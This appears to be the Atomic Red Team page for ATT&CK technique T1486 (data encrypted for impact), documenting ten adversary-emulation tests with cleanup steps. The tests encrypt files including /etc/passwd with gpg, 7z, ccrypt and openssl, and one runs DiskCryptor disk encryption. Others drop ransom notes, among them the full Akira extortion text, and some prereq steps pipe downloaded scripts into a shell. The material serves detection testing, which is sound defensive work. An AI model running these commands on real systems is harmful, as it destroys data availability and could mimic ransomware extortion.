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Data Encrypted for Impact

Description from ATT&CK

Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018)

In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted (and often renamed and/or tagged with specific file markers). Adversaries may need to first employ other behaviors, such as File and Directory Permissions Modification or System Shutdown/Reboot, in order to unlock and/or gain access to manipulate these files.(Citation: CarbonBlack Conti July 2020) In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017)

To maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like Valid Accounts, OS Credential Dumping, and SMB/Windows Admin Shares.(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017) Encryption malware may also leverage Internal Defacement, such as changing victim wallpapers, or otherwise intimidate victims by sending ransom notes or other messages to connected printers (known as "print bombing").(Citation: NHS Digital Egregor Nov 2020)

In cloud environments, storage objects within compromised accounts may also be encrypted.(Citation: Rhino S3 Ransomware Part 1)

Atomic Tests

Atomic Test #1 - Encrypt files using gpg (FreeBSD/Linux)

Uses gpg to encrypt a file

Supported Platforms: linux

auto_generated_guid: 7b8ce084-3922-4618-8d22-95f996173765

Inputs:

Name Description Type Default Value
pwd_for_encrypted_file the password that you want for the encrypted file string passwd
encrypted_file_path path to the encrypted file path /tmp/passwd.gpg
input_file_path path to the file that you want to encrypt path /etc/passwd
encryption_alg encryption algorithm of the file string AES-256

Attack Commands: Run with sh!

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echo "#{pwd_for_encrypted_file}" | $which_gpg --batch --yes --passphrase-fd 0 --cipher-algo #{encryption_alg} -o #{encrypted_file_path} -c #{input_file_path}

Cleanup Commands:

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rm #{encrypted_file_path}

Dependencies: Run with bash!

Description: Finds where gpg is located

Check Prereq Commands:

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which_gpg=`which gpg`

Get Prereq Commands:

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(which pkg && pkg install -y gnupg)||(which yum && yum -y install epel-release gpg)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y gpg)

Atomic Test #2 - Encrypt files using 7z (FreeBSD/Linux)

Uses 7z to encrypt a file

Supported Platforms: linux

auto_generated_guid: 53e6735a-4727-44cc-b35b-237682a151ad

Inputs:

Name Description Type Default Value
pwd_for_encrypted_file the password that you want for the encrypted file string passwd
encrypted_file_path path to the encrypted file path /tmp/passwd.zip
input_file_path path to the file that you want to encrypt path /etc/passwd

Attack Commands: Run with sh!

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$which_7z a -p#{pwd_for_encrypted_file} #{encrypted_file_path} #{input_file_path}

Cleanup Commands:

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$which_7z e #{encrypted_file_path}
rm #{encrypted_file_path}

Dependencies: Run with bash!

Description: Finds where 7z is located

Check Prereq Commands:

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which_7z=`which 7z`

Get Prereq Commands:

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(which pkg && pkg install -y 7-zip)

Atomic Test #3 - Encrypt files using ccrypt (FreeBSD/Linux)

Attempts to encrypt data on target systems as root to simulate an inturruption authentication to target system. If root permissions are not available then attempts to encrypt data within user's home directory.

Supported Platforms: linux

auto_generated_guid: 08cbf59f-85da-4369-a5f4-049cffd7709f

Inputs:

Name Description Type Default Value
cped_file_path path where you want your copied file to be path /tmp/passwd
root_input_file_path path to the file that you want to be encrypted if you are root user path /etc/passwd
user_input_file_path path to file that you want to be encrypted if you are normal user path ~/.bash_history
impact_command command to show impact of encryption string sudo su

Attack Commands: Run with sh!

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if [ $USER == "root" ]; then $which_ccencrypt #{root_input_file_path}; file #{root_input_file_path}.cpt; #{impact_command}; else $which_ccencrypt #{user_input_file_path}; file #{user_input_file_path}.cpt; #{impact_command}; fi

Cleanup Commands:

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if [ $USER == "root" ]; then mv #{cped_file_path} #{root_input_file_path}; else cp #{cped_file_path} #{user_input_file_path}; fi

Dependencies: Run with sh!

Description: Finds where ccencrypt and ccdecrypt is located and copies input file

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which_ccencrypt=`which ccencrypt`
which_ccdecrypt=`which ccdecrypt`
if [ $USER == "root" ]; then cp #{root_input_file_path} #{cped_file_path}; else cp #{user_input_file_path} #{cped_file_path}; fi

Get Prereq Commands:

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(which pkg && pkg install -y ccript)||(which yum && yum -y install epel-release ccrypt)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y ccrypt)

Atomic Test #4 - Encrypt files using openssl (FreeBSD/Linux)

Uses openssl to encrypt a file

Supported Platforms: linux

auto_generated_guid: 142752dc-ca71-443b-9359-cf6f497315f1

Inputs:

Name Description Type Default Value
private_key_path path to the private key path /tmp/key.pem
public_key_path path to the public key path /tmp/pub.pem
encryption_bit_size size of the bit of encryption integer 2048
encrypted_file_path path to the encrypted file path /tmp/passwd.zip
input_file_path path to the file that you want to encrypt path /etc/passwd

Attack Commands: Run with sh!

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$which_openssl genrsa -out #{private_key_path} #{encryption_bit_size}
$which_openssl rsa -in #{private_key_path} -pubout -out #{public_key_path}
$which_openssl rsautl -encrypt -inkey #{public_key_path} -pubin -in #{input_file_path} -out #{encrypted_file_path}

Cleanup Commands:

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$which_openssl rsautl -decrypt -inkey #{private_key_path} -in #{encrypted_file_path}
rm #{encrypted_file_path}

Dependencies: Run with bash!

Description: Finds where openssl is located

Check Prereq Commands:

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which_openssl=`which openssl`

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Atomic Test #5 - PureLocker Ransom Note

building the IOC (YOUR_FILES.txt) for the PureLocker ransomware https://www.bleepingcomputer.com/news/security/purelocker-ransomware-can-lock-files-on-windows-linux-and-macos/

Supported Platforms: windows

auto_generated_guid: 649349c7-9abf-493b-a7a2-b1aa4d141528

Inputs:

None

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

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echo T1486 - Purelocker Ransom Note > %USERPROFILE%\Desktop\YOUR_FILES.txt

Cleanup Commands:

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del %USERPROFILE%\Desktop\YOUR_FILES.txt >nul 2>&1

Atomic Test #6 - Encrypt files using 7z utility - macOS

This test encrypts the file(s) using the 7z utility

Supported Platforms: macos

auto_generated_guid: 645f0f5a-ef09-48d8-b9bc-f0e24c642d72

Inputs:

Name Description Type Default Value
file_password Password to be provided for archiving the file string ARTPass
encrypted_file_name Name of the archive to be created string ARTArchive.7z
input_file_path Path to the file that you want to encrypt path ~/test.txt

Attack Commands: Run with sh!

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7z a -p #{file_password} -mhe=on #{encrypted_file_name} #{input_file_path}

Cleanup Commands:

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rm #{encrypted_file_name}

Dependencies: Run with sh!

Description: Check if 7z command exists on the machine

Check Prereq Commands:

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which 7z

Get Prereq Commands:

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echo Installing 7z, using brew
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
brew install p7zip

Atomic Test #7 - Encrypt files using openssl utility - macOS

This test encrypts the file(s) using the openssl utility

Supported Platforms: macos

auto_generated_guid: 1a01f6b8-b1e8-418e-bbe3-78a6f822759e

Inputs:

Name Description Type Default Value
encryption_option Specifiy the required encryption option string -pbkdf2
input_file_path Path to the file that you want to encrypt path ~/test.txt
output_file_name Path to the file that you want to encrypt string ARTFile

Attack Commands: Run with sh!

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openssl enc #{encryption_option} -in #{input_file_path} -out #{output_file_name}

Cleanup Commands:

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rm #{output_file_name}

Atomic Test #8 - Data Encrypted with GPG4Win

Gpg4win is a Windows tool (also called Kleopatra which is the preferred certificate manager) that uses email and file encryption packages for symmetric encryption. It is used by attackers to encrypt disks. User will need to add pass phrase to encrypt file as automation is not allowed under newer versions.

Supported Platforms: windows

auto_generated_guid: 4541e2c2-33c8-44b1-be79-9161440f1718

Inputs:

Name Description Type Default Value
GPG_Exe_Location Path of the GPG program path C:\Program Files (x86)\GnuPG\bin\gpg.exe
File_to_Encrypt_Location Path of File path $env:temp\test.txt

Attack Commands: Run with powershell!

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cmd /c '#{GPG_Exe_Location}' -c '#{File_to_Encrypt_Location}'

Cleanup Commands:

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remove-item '#{File_to_Encrypt_Location}.gpg' -force -erroraction silentlycontinue | out-null

Dependencies: Run with powershell!

Description: GPG must exist at (#{GPG_Exe_Location})

Check Prereq Commands:

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if (test-path '#{GPG_Exe_Location}'){exit 0} else {exit 1}

Get Prereq Commands:

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New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
invoke-webrequest "https://files.gpg4win.org/gpg4win-4.1.0.exe" -outfile "PathToAtomicsFolder\..\ExternalPayloads\gpginstall.exe"
cmd /c "PathToAtomicsFolder\..\ExternalPayloads\gpginstall.exe" /S

Atomic Test #9 - Data Encrypt Using DiskCryptor

DiskCryptor, an open source encryption utility, can be exploited by adversaries for encrypting all disk partitions, including system partitions. This tool was identified in a ransomware campaign, as reported on https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/. The documentation for DiskCryptor can be found at https://github.com/DavidXanatos/DiskCryptor. During the installation process, running dcrypt.exe starts the encryption console. It's important to note that a system reboot is necessary as part of the installation.

Supported Platforms: windows

auto_generated_guid: 44b68e11-9da2-4d45-a0d9-893dabd60f30

Inputs:

Name Description Type Default Value
dcrypt_exe The dcrypt.exe executable from dcrypt_setup.exe path dcrypt.exe

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

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""%PROGRAMFILES%\dcrypt"\#{dcrypt_exe}"

Dependencies: Run with powershell!

Description: dcrypt_setup will be installed at specified location (#{dcrypt_exe})

Check Prereq Commands:

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if (Test-Path "${env:ProgramFiles}/dcrypt/#{dcrypt_exe}") {exit 0} else {exit 1}

Get Prereq Commands:

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Write-Host Downloading DiskCryptor installer
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://github.com/DavidXanatos/DiskCryptor/releases/download/1.1.846.118/dcrypt_setup_1.1.846.118.exe" -OutFile      "PathToAtomicsFolder\..\ExternalPayloads\dcrypt_setup_1.1.846.118.exe"
Write-Host Install DiskCryptor
Start-Process "PathToAtomicsFolder\..\ExternalPayloads\dcrypt_setup_1.1.846.118.exe" -Wait -ArgumentList "/s"

Atomic Test #10 - Akira Ransomware drop Files with .akira Extension and Ransomnote

Dropping 100 files with random content and .akira File Extension and the Akira Ransomnote to c:\

Supported Platforms: windows

auto_generated_guid: ab3f793f-2dcc-4da5-9c71-34988307263f

Inputs:

None

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

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1..100 | ForEach-Object { $out = new-object byte[] 1073741; (new-object Random).NextBytes($out); [IO.File]::WriteAllBytes("c:\test.$_.akira", $out) }
echo "Hi friends" >> $env:Userprofile\Desktop\akira_readme.txt
echo "" >> $env:Userprofile\Desktop\akira_readme.txt
echo "Whatever who you are and what your title is if you' re reading this it means the internal infrastructure of your company is fully or partially dead, all your backups - virtual, physical - everything that we managed to reach - are completely removed. Moreover, we have taken a great amount of your corporate data prior to encryption  Well, for now let's keep all the tears and resentment to ourselves and try to build a constructive dialogue. We're fully aware of what damage we caused by locking your internal sources. At the moment. you have to know: " >> $env:Userprofile\Desktop\akira_readme.txt
echo "1. Dealing with us you will save A LOT due to we are not interested in ruining your financially. We will study in depth your finance, bank income statements, your savings, investments etc. and present our reasonable demand to you. If you have an active cyber insurance, let us know and we will guide you how to properly use it. Also, dragging out the negotiation process will lead to failing of a deal" >> $env:Userprofile\Desktop\akira_readme.txt
echo "2. Paying us you save your TIME, MONEY, EFFORTS and be back on track within 24 hours approximately. Our decryptor works properly on any files or systems, so you will be able to check it by requesting a test decryption service from the beginning of our conversation. [f you decide to recover on your own, keep in mind that you can permanently lose access to some files or accidently corrupt them — in this case we won't be able to help.  " >> $env:Userprofile\Desktop\akira_readme.txt
echo "3. The security report or the exclusive first-hand information that you will receive upon reaching an agreement is of a great value, since NO full audit of your network will show you the vulnerabilities that we' ve managed to detect and used in order to get into. identify backup solutions and upload your data." >> $env:Userprofile\Desktop\akira_readme.txt
echo "4. As for your data, if we fail to agree, we will try to sell personal information/trade secrets/databases/source codes — generally speaking, everything that has a value on the darkmarket - to multiple threat actors at ones." >> $env:Userprofile\Desktop\akira_readme.txt
echo "Then all of this will be published in our blog -" >> $env:Userprofile\Desktop\akira_readme.txt
echo "" >> $env:Userprofile\Desktop\akira_readme.txt
echo "https://akira.onion" >> $env:Userprofile\Desktop\akira_readme.txt
echo "" >> $env:Userprofile\Desktop\akira_readme.txt
echo "5. We're more than negotiable and will definitely find the way to settle this quickly and reach an agreement which will satisfy both of us" >> $env:Userprofile\Desktop\akira_readme.txt
echo "" >> $env:Userprofile\Desktop\akira_readme.txt
echo "If you' re indeed interested in our assistance and the services we provide you can reach out to us following simple instructions:" >> $env:Userprofile\Desktop\akira_readme.txt
echo "" >> $env:Userprofile\Desktop\akira_readme.txt
echo "1. Install TOR Browser to get access to our chat room - https://www.torproject.org/download/." >> $env:Userprofile\Desktop\akira_readme.txt
echo "2. Paste this link — https://akira.onion" >> $env:Userprofile\Desktop\akira_readme.txt
echo "3. Use this code - - to log into our chat." >> $env:Userprofile\Desktop\akira_readme.txt
echo "" >> $env:Userprofile\Desktop\akira_readme.txt
echo "Keep in mind that the faster you will get in touch, the less damage we cause" >> $env:Userprofile\Desktop\akira_readme.txt

Cleanup Commands:

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del $env:Userprofile\Desktop\akira_readme.txt 
del c:\test.*.akira

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